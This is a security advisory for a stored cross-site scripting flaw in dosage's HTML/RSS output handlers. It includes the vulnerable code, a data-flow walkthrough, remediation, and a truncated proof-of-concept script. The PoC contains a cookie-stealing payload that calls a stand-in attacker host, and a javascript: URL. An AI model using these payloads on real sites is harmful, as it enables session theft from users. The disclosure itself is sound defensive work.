A AegiFlow
MEDIUMCVSS 6.1

GHSA-75mw-h36v-2jv7

Dosage Vulnerable to Stored Cross-Site Scripting (XSS) in HTML/RSS Output Handlers

Published
2026-06-26
Modified
2026-07-21
Sources
github-advisory

Summary

## Summary The HTML and RSS output handlers in `dosagelib/events.py` write user-controlled content (comic text and page URLs) directly into generated files without proper HTML escaping. When a user scrapes a malicious webcomic and opens the generated HTML/RSS file, attacker-controlled JavaScript can execute in their browser. **CWE**: [CWE-79](https://cwe.mitre.org/data/definitions/79.html) - Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) --- ## Details ### Vulnerable Code Locations The vulnerability exists in `dosagelib/events.py` where untrusted content is written to HTML/RSS output without escaping: **1. RSSEventHandler (lines 116-118)** ```python # events.py:116-118 if comic.text: description += ' %s' % comic.text # ← Unescaped comic.text description += ' View Comic Online ' % pageUrl # ← Unescaped URL ``` **2. HtmlEventHandler (lines 232, 238)** ```python # events.py:232 self.html.write(u' %s \n' % (pageUrl, pageUrl)) # ← Unescaped URL # events.py:238 if text: self.html.write(u' %s\n' % text) # ← Unescaped text ``` ### Root Cause - `BasicScraper.fetchText()` in `scraper.py:422` calls `html.unescape()` on extracted text - The output handlers never call `html.escape()` before writing to files - No sanitization of URLs or text content occurs anywhere in the output pipeline ### Data Flow ``` Malicious webcomic page ↓ textSearch XPath extracts content (e.g., img/@title, div text) ↓ BasicScraper.fetchText() calls html.unescape() ↓ comic.text stored without sanitization ↓ HtmlEventHandler/RSSEventHandler writes to file without html.escape() ↓ Generated HTML/RSS contains executable JavaScript ``` --- ## PoC I created a proof-of-concept that demonstrates the vulnerability by simulating a malicious comic source. ### Prerequisites - Docker installed and running ### PoC Files Create these files in a `poc/` directory: **1. `poc/Dockerfile`** ```dockerfile FROM python:3.11-slim LABEL description="PoC for dosage Stored XSS vulnerability (CWE-79)" WORKDIR /app COPY . /app # Install dependencies RUN pip install --no-cache-dir --quiet imagesize lxml requests rich platformdirs # Install dosage ENV SETUPTOOLS_SCM_PRETEND_VERSION_FOR_DOSAGE=0.0.0 RUN pip install --no-cache-dir --quiet . CMD ["python", "poc/poc.py"] ``` **2. `poc/poc.py`** ```python #!/usr/bin/env python3 """ PoC: Stored XSS in dosage HTML/RSS Output Handlers Demonstrates that untrusted comic content is written to output files unescaped. """ import sys from pathlib import Path from types import SimpleNamespace from dosagelib.events import HtmlEventHandler, RSSEventHandler # XSS payloads simulating malicious webcomic content MALICIOUS_TEXT = "Funny Comic! fetch('http://attacker.com/?c='+document.cookie) " MALICIOUS_URL = "javascript:alert('XSS-via-URL')" def check_vulnerability(content: str, marker: str, description: str) -> bool: """Check if unescaped marker appears in content.""" if marker.lower() in content.lower(): print(f" [VULNERABLE] {description}") print(f" Found unescaped: {marker}") return True print(f" [SAFE] {description}") return False def main(): print("=" * 70) print("PoC: Stored XSS in dosage HTML/RSS Output Handlers") print("=" * 70) print() base = Path(__file__).parent / "output" base.mkdir(parents=True, exist_ok=True) # Create dummy image file img_path = base / "payload.png" img_path.write_bytes(b"\x89PNG\r\n\x1a\n") # Simulate comic with malicious content comic = SimpleNamespace( scraper=SimpleNamespace(name="MaliciousComic"), referrer=MALICIOUS_URL, text=MALICIOUS_TEXT, url="http://example.com/comic.png" ) vulnerabilities_found = 0 # Test RSS Handler print("[*] Testing RSSEventHandler...") rss_handler = RSSEventHandler(str(base), None, Fals

Affected packages

EcosystemPackageAffected versionsFixed versions
PyPIdosage3.3

Remediation: Upgrade to 3.3 or later.

References

Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.